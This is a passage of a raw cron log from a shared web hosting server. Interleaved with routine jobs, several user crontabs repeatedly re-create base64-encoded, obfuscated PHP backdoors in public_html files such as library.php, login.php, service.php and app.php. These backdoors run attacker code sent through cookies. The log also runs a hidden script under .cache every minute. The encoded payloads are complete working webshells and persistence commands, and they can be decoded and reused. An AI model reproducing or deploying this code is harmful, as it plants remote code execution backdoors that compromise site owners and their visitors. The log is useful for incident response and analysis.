TUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:22:02 medusa CROND[7071]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:22:02 medusa CROND[7342]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:22:02 medusa CROND[7343]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:22:02 medusa CROND[7346]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 13:22:02 medusa CROND[7347]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:22:02 medusa CROND[7348]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:22:02 medusa CROND[7351]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:22:02 medusa CROND[7362]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:22:02 medusa CROND[7368]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:22:02 medusa CROND[7371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:22:02 medusa CROND[7361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:22:02 medusa CROND[7380]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:22:02 medusa CROND[7344]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:22:02 medusa CROND[7345]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 13:23:01 medusa CROND[12377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:23:01 medusa CROND[12382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:23:01 medusa CROND[12384]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:23:01 medusa CROND[12761]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 13:23:01 medusa CROND[12762]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:23:01 medusa CROND[12765]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:23:01 medusa CROND[12766]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:23:01 medusa CROND[12769]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:23:01 medusa CROND[12770]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:23:01 medusa CROND[12771]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:23:01 medusa CROND[12772]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:23:01 medusa CROND[12773]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:24:02 medusa CROND[23109]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:24:02 medusa CROND[23340]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLi